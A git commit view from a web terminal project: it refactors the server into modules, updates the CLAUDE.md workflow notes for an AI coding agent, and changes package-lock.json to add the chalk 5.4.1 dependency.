refactor: modularize server architecture and consolidate codebase

- Restructure server code into modular architecture under src/server/
  - middleware/: Authentication handling
  - pty/: PTY management consolidation
  - routes/: API endpoint handlers
  - services/: Core services (terminal, HQ, streaming)
- Consolidate 20+ scattered files into organized modules
- Replace unit/integration tests with comprehensive E2E testing
- Add spec.md as codebase navigation guide
- Update build paths for new CSS location (styles.css)
- Add chalk dependency for improved terminal output
- Simplify server entry point to use modular loader
- Update CLAUDE.md with spec.md regeneration instructions

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
Mario Zechner 2025-06-20 22:44:08 +02:00
parent fd7a874ee5
commit 5593ee39ef
46 changed files with 3911 additions and 5640 deletions

View file

@ -1,5 +1,29 @@
# Claude Development Notes
After receiving the first user mesage, read spec.md before you proceed. The spec.md contains a map of this code base that should help you navigate it.
**IMPORTANT**: NEVER USE GREP. ALWAYS USE RIPGREP!
## Updating spec.md
As code changes, the spec.md might get outdated. If you detect outdated information, ask the user if they want to regenerate the spec.md file.
### How to regenerate spec.md:
1. Create a todo list to track the analysis tasks
2. Use multiple parallel Task tool calls to analyze:
- Server architecture (src/server/, authentication, session management)
- Client architecture (src/client/, components, services)
- fwd.ts application functionality
- API endpoints and protocols
- Binary buffer format and WebSocket implementation
- HQ mode and distributed architecture
3. Focus on capturing:
- File locations with key line numbers for important functions
- Component responsibilities and data flow
- Protocol specifications and message formats
- Configuration options and CLI arguments
4. Write a concise spec.md that serves as a navigation map, keeping descriptions brief to minimize token usage
5. Include a "Key Files Quick Reference" section for fast lookup
## Build Process
- **Never run build commands** - the user has `npm run dev` running which handles automatic rebuilds
- Changes to TypeScript files are automatically compiled and watched
@ -7,15 +31,12 @@
## Development Workflow
- Make changes to source files in `src/`
- The dev server automatically rebuilds and reloads
- Focus on editing source files, not built artifacts
- Format, lint and typecheck after you made changes.
- `npm run format`
- `npm run lint`
- `npm run lint:fix`
- `npm run typecheck`
- Always fix all linting and type checking errors.
## Server Execution
- NEVER RUN THE SERVER YOURSELF, I ALWAYS RUN IT ON THE SIDE VIA NPM RUN DEV!
## Code Quality
- ESLint and Prettier are configured for the project
- Run `npm run lint` to check for linting issues
- Run `npm run lint:fix` to automatically fix most issues
- Run `npm run format` to format all code with Prettier
- Run `npm run format:check` to check formatting without changing files
- NEVER RUN THE SERVER YOURSELF, I ALWAYS RUN IT ON THE SIDE VIA NPM RUN DEV!

609
web/package-lock.json generated
View file

@ -11,6 +11,7 @@
"dependencies": {
"@homebridge/node-pty-prebuilt-multiarch": "^0.12.0",
"@xterm/headless": "^5.5.0",
"chalk": "^5.4.1",
"express": "^4.19.2",
"lit": "^3.3.0",
"signal-exit": "^4.1.0",
@ -1507,6 +1508,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/@jest/console/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@jest/core": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/@jest/core/-/core-30.0.2.tgz",
@ -1568,6 +1586,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/@jest/core/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@jest/core/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/@jest/core/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -1751,6 +1802,23 @@
"dev": true,
"license": "MIT"
},
"node_modules/@jest/reporters/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@jest/schemas": {
"version": "30.0.1",
"resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-30.0.1.tgz",
@ -1780,6 +1848,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/@jest/snapshot-utils/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@jest/source-map": {
"version": "30.0.1",
"resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-30.0.1.tgz",
@ -1854,6 +1939,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/@jest/transform/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@jest/types": {
"version": "30.0.1",
"resolved": "https://registry.npmjs.org/@jest/types/-/types-30.0.1.tgz",
@ -1873,6 +1975,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/@jest/types/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@jridgewell/gen-mapping": {
"version": "0.3.8",
"resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz",
@ -2529,6 +2648,23 @@
"node": ">=18"
}
},
"node_modules/@testing-library/dom/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/@tootallnate/quickjs-emscripten": {
"version": "0.23.0",
"resolved": "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz",
@ -3887,6 +4023,23 @@
"@babel/core": "^7.11.0"
}
},
"node_modules/babel-jest/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/babel-plugin-istanbul": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-7.0.0.tgz",
@ -4438,17 +4591,12 @@
}
},
"node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"version": "5.4.1",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz",
"integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==",
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
"node": "^12.17.0 || ^14.13 || >=16.0.0"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
@ -4884,6 +5032,36 @@
"url": "https://github.com/open-cli-tools/concurrently?sponsor=1"
}
},
"node_modules/concurrently/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/concurrently/node_modules/chalk/node_modules/supports-color": {
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"dev": true,
"license": "MIT",
"dependencies": {
"has-flag": "^4.0.0"
},
"engines": {
"node": ">=8"
}
},
"node_modules/concurrently/node_modules/cliui": {
"version": "8.0.1",
"resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
@ -5743,6 +5921,23 @@
"concat-map": "0.0.1"
}
},
"node_modules/eslint/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/eslint/node_modules/eslint-visitor-keys": {
"version": "4.2.1",
"resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz",
@ -7193,6 +7388,23 @@
"concat-map": "0.0.1"
}
},
"node_modules/jake/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jake/node_modules/minimatch": {
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
@ -7293,6 +7505,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-circus/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-circus/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-circus/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -7348,6 +7593,23 @@
}
}
},
"node_modules/jest-cli/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-cli/node_modules/cliui": {
"version": "8.0.1",
"resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
@ -7520,6 +7782,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-config/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-config/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-config/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -7571,6 +7866,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-diff/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-diff/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-diff/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -7636,6 +7964,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-each/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-each/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-each/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -7780,6 +8141,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-matcher-utils/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-matcher-utils/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-matcher-utils/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -7836,6 +8230,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-message-util/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-message-util/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-message-util/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -7935,6 +8362,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/jest-resolve/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-runner": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.0.2.tgz",
@ -7969,6 +8413,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/jest-runner/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-runtime": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.0.2.tgz",
@ -8003,6 +8464,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/jest-runtime/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-snapshot": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.0.2.tgz",
@ -8049,6 +8527,39 @@
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-snapshot/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-snapshot/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-snapshot/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -8089,6 +8600,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/jest-util/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-util/node_modules/picomatch": {
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz",
@ -8146,6 +8674,39 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
"node_modules/jest-validate/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-validate/node_modules/chalk/node_modules/ansi-styles": {
"version": "4.3.0",
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
"integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
"dev": true,
"license": "MIT",
"dependencies": {
"color-convert": "^2.0.1"
},
"engines": {
"node": ">=8"
},
"funding": {
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
}
},
"node_modules/jest-validate/node_modules/pretty-format": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.2.tgz",
@ -8188,6 +8749,23 @@
"node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
}
},
"node_modules/jest-watcher/node_modules/chalk": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
"integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
"dev": true,
"license": "MIT",
"dependencies": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
},
"engines": {
"node": ">=10"
},
"funding": {
"url": "https://github.com/chalk/chalk?sponsor=1"
}
},
"node_modules/jest-worker": {
"version": "30.0.2",
"resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.0.2.tgz",
@ -8394,19 +8972,6 @@
"url": "https://opencollective.com/lint-staged"
}
},
"node_modules/lint-staged/node_modules/chalk": {
"version": "5.4.1",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-5.4.1.tgz",
"integrity": "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==",
"dev": true,
"license": "MIT",
"engines": {
"node": "^12.17.0 || ^14.13 || >=16.0.0"
},
"funding": {
